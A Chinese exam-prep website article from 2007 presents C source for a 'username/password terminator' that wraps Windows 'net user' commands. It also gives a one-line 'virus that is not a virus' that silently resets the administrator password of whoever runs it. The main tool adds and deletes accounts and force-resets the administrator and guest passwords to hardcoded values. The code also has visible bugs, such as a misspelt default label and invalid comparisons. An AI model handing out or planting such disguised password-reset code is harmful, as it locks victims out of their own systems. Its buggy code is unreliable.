首页 |缤纷校园 |心理援助 |英语世界 |公务员 |考研天地 |资格考试 |电脑认证 |免费论文 |实用文档 |求职就业 |论坛 |网络课堂 |留言版
 电脑认证首页     考试专题 考试提醒 计算机等级考试 计算机认证水平考试 IT认证 论坛
 最近更新
· [学习辅导]2000/XP用户名/密码终结者…
· [学习辅导]程序测试程序(配合游戏及学…
· [学习辅导]三言两语,妙说《指针》。
· [学习辅导]关于制作地图时矩阵的使用…
· [学习辅导]游戏及学习控制管理器
· [学习辅导]使用Rational进行C++转换的…
· [计算机专题]教你用word2007制作一个封…
· [计算机专题]讲一下DOS下SVGA视频模式的…
· [计算机专题]二级C:键盘扫描码大全
· [学习辅导]access如何用代码在“默认…
 精品课程
· [医卫类精品课程]名师主讲口腔执业医师…
· [精品课程推荐]公务员考试权威专家网…
· [医卫类精品课程]中医执业医师考试网上…
· [医卫类精品课程]临床助理医师网络辅导…
· [工程类精品课程]公路监理工程师考试网…
· [医卫类精品课程]执业药师考试网上辅导…
· [医卫类精品课程]名师执业医师考试网上…
· [工程类精品课程]物业管理师考试名师团…
· [财经类精品课程]名师主讲会计从业资格…
· [工程类精品课程]城市规划师考试名师在…
 考试动态
· [二级考试动态]北京:07年下半年计算机等…
· [二级考试动态]2008年4月全国计算机等级考…
· [二级考试动态]2007年下半年计算机等级考…
· [二级考试动态]天津:2007年下半年全国计…
· [二级考试动态]计算机技术与软件专业技术…
· [二级考试动态]2007年计算机等级考试改期…
· [二级考试动态]河北07计算机考点出故障考…
· [二级考试动态]2007年贵州省计算机补考7月…
· [二级考试动态]了解考试系列:二级C语言的…
· [二级考试动态]了解考试系列:二级VC++语…
 试题下载
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]计算机等级二级C语言程序设…
· [试题下载]2006年4月计算机等级考试二…
 学习辅导
· [学习辅导]2000/XP用户名/密码终结者…
· [学习辅导]程序测试程序(配合游戏及学…
· [学习辅导]三言两语,妙说《指针》。
· [学习辅导]关于制作地图时矩阵的使用…
· [学习辅导]游戏及学习控制管理器
· [学习辅导]使用Rational进行C++转换的…
· [学习辅导]access如何用代码在“默认…
· [学习辅导]如何设置ACCESS2003(运行…
· [学习辅导]以指定工作组文件启动MDB文…
· [学习辅导]怎样用代码隐藏、最大化、…
 

2000/XP用户名/密码终结者设计思路与开源

文章录入:admin    责任编辑:admin   2007-8-28 13:17:16  来源:考试大  点击数:
 

  其实这两个东西很简单,就是运用了"system"函数调用DOS中的"net user"命令

  简介"net user": 查看一个用户的详细信息:net user ***            /*以下的"***"代表用户名,"###"代表密码*/
                添加一个用户          :net user *** /add
                删除一个用户          :net user *** /del
                更改一个用户的密码    :net user *** ###

  这样一来,整个东西就清晰多了.

  所以:"不是病毒的病毒"的源代码就相当简单(一句话)

  main()
  {
      system("net user administrator woshihaichong");
  }

  这是"不是病毒的病毒"的相关文件(包括:源代码,执行文件,简介)

  那好,设计"2000/XP 用户名/密码 终结者"的大概结构与思路相信大家都有点头绪了.

  刚开是设计的时候,我就把它定为 2 个部分:功能部分与引导部分.

  功能部分就是那七个功能的模块,每个功能都是一个 void 函数,然后在引导体(主函数)中用"switch"调用.

  2000/XP 用户名/密码 终结者"的主要函数与思路:

  它用了"switch"(界面的选择),"system"(DOS命令的调用),"while(getch()=="")"(按任意键继续),"strcat"(DOS命令的合成).

  运用"strcat"来合成命令:(比如添加一个用户的模块)
  {
      char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";   /*"fj"是"附加","kg"是"空格","syscmd"是需执行的命令体*/
      printf("Name=");scanf("%s",&name);printf("\n");
      strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);      /*用"strcat"把不同的部分合起来,构成最终的"syscmd"*/
      system(syscmd);printf("Press Any Key To Continue . . . ");
      while(getch()=="");
  }

  运用"switch"就不用多说了,另外的函数上面包括了.

  "2000/XP 用户名/密码 终结者"源代码:
  #include <stdio.h>
  #include <string.h>
  void lau()             /*查看所有用户的函数*/
  {
      system("net user");printf("\n");
      printf("Press Any Key To Continue . . . ");
      while(getch()=="");
  }
  void caup()            /*改变一个用户密码的函数*/
  {
      char syscmd[80]="net user ",name[35],passwork[25],kg[]=" ";
      printf("Name=");
      scanf("%s",&name);printf("\n");
      printf("Passwork=");
      scanf("%s",&passwork);printf("\n");
      strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,passwork);
      system(syscmd);
      printf("Press Any Key To Continue . . . ");
      while(getch()=="");
  }
  void aau()             /*添加一个用户的函数*/
  {
      char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";
      printf("Name=");scanf("%s",&name);printf("\n");
      strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
      system(syscmd);printf("Press Any Key To Continue . . . ");
      while(getch()=="");
  }
  void dau()                /*删除一个用户的函数*/
  {
      char syscmd[65]="net user ",name[35],fj[]=" /del",kg[]=" ";
      printf("Name=");scanf("%s",&name);printf("\n");
      strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
      system(syscmd);printf("Press Any Key To Continue . . . ");
      while(getch()=="");
  }
  void ctp()                    /*改变"匿名"与"来宾"的系统关键帐户的密码的函数*/
  {
   system("net user administrator eyixiugai");
   system("net user guest eyixiugai");
      printf("The Passwork Has Been Changed.\n\n");
      printf("Now, The Passwork is : eyixiugai\n\n");
      bu:printf("Press Any Key To Continue . . . ");
      while(getch()=="");
  }
  void laubsd()                     /*仔细查看的函数*/
  {
      char syscmd[50]="net user ",name[35];
      printf("Name=");scanf("%s",&name);printf("\n");
      strcat(syscmd,name);
      system(syscmd);
      printf("\nPress Any Key To Continue . . . ");
      while(getch()=="");
  }
  void gm()                        /*介绍自己的函数(那里面还有"bbc.bc-cn.com"呢~!)*/
  {
      printf("\n\nMade By Hackerjiang , QQ:298218699\n\n");
      printf("Welcome To bbc.bc-cn.com\n\n");
      printf("Press Any Key To Continue . . . ");
      while(getch()=="");
  }
  void main()                 /*引导体(主函数)*/
  {
      int pd;                 /*"pd"是"判断"*/
      printf("\n\nObject Has Been Strated\n\n");
      strat:printf("\n--------------------------------------------------\n");      /*用"goto"循环*/
      printf("1:Look All User.\n\n");
      printf("2:Change A User Passwork.\n\n");
      printf("3:Add A User.\n\n");
      printf("4:Del A User.\n\n");
      printf("5:Change The Passwork For Administrator/Guest. _Attention_\n\n");
      printf("6:Look A User By System Data.\n\n");
      printf("7:Goodman\n\n");
      printf("What Can I Do For You ? ");
      printf("\n---------------------------------------------------\n\n");
      scanf("%d",&pd);
      switch(pd)
      {
        case 1:lau();break;
        case 2:caup();break;
        case 3:aau();break;
        case 4:dau();break;
        case 5:ctp();break;
        case 6:laubsd();break;
        case 7:gm();break;
        defualt:break;
      }
      goto strat;                      /*用"goto"循环*/
  }

  • 上一个文章:

  • 下一个文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    关于本站 - 广告服务 - 站内导航 - 网站声明 - 友情链接 - 联系我们
    Copyright©2003-2008 www.dastu.com, All Rights Reserved.

    心语心愿科技(北京)有限责任公司 版权所有

    鄂ICP备05000022号